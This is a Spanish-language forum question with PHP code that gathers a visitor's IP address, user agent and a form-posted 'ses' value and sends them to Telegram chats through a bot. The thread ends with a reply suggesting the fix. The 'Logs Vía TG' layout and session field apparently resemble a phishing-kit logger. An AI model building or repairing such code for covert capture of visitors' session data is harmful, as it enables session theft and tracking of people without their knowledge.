¡¡Hola!! Tras varios posts he logrado solucionar mayor parte de mis problemas, pero aquí viene uno que desde el principio no he podido lograr solucionar.
La cosa es que me gustaría poder obtener la ip de mis visitantes y enviarla a Telegram mediante el método POST y la cuestión es que logro enviar la variable pero con valor nulo, es decir, que no se ejecuta correctamente el código o algo. He probado varias formas de hacerlo pero todas han sido en vano. Aquí os dejo mi código PHP. Gracias de antemano.
Parte PHP:
<?php
include 'config.php';
// Function to get the client ip address
function get_client_ip_env() {
$ipaddress = '';
if (getenv('HTTP_CLIENT_IP'))
$ipaddress = getenv('HTTP_CLIENT_IP');
else if(getenv('HTTP_X_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
else if(getenv('HTTP_X_FORWARDED'))
$ipaddress = getenv('HTTP_X_FORWARDED');
else if(getenv('HTTP_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_FORWARDED_FOR');
else if(getenv('HTTP_FORWARDED'))
$ipaddress = getenv('HTTP_FORWARDED');
else if(getenv('REMOTE_ADDR'))
$ipaddress = getenv('REMOTE_ADDR');
else
$ipaddress = 'UNKNOWN';
return $ipaddress;
}
// Function to get the client ip address
function get_client_ip_server() {
$ipaddress = '';
if ($_SERVER['HTTP_CLIENT_IP'])
$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
else if($_SERVER['HTTP_X_FORWARDED_FOR'])
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else if($_SERVER['HTTP_X_FORWARDED'])
$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
else if($_SERVER['HTTP_FORWARDED_FOR'])
$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
else if($_SERVER['HTTP_FORWARDED'])
$ipaddress = $_SERVER['HTTP_FORWARDED'];
else if($_SERVER['REMOTE_ADDR'])
$ipaddress = $_SERVER['REMOTE_ADDR'];
else
$ipaddress = 'UNKNOWN';
return $ipaddress;
}
$ua = @$_POST['ua']; // UA <- Obtenida de Form (name="ua")
$ses = @$_POST['ses']; // Ses <- Obtenida de Form (name="ua")
$ipaddress = @$_POST['ipaddress']; //IP Obtenida a través de código
$content_login = '<pre>
Supremassy Codes Sucks XD
UID : '.$uid.'
UA: '.$ua.'
Ses: '.$Ses.'
IP: '.$ipaddress.'</pre>';
// Conexión con Telegram
if ($telegram_active === 1) {
/* Logs Vía TG */
foreach ($chats_id as $chat_id) {
file_get_contents("https://api.telegram.org/bot$token/sendMessage?chat_id=$chat_id&text=" . urlencode($content_login)."&parse_mode=HTML" );}}
?>
$ipaddress = @$_GET['ipaddress'];
deberia ser$ipaddress =get_client_ip_env();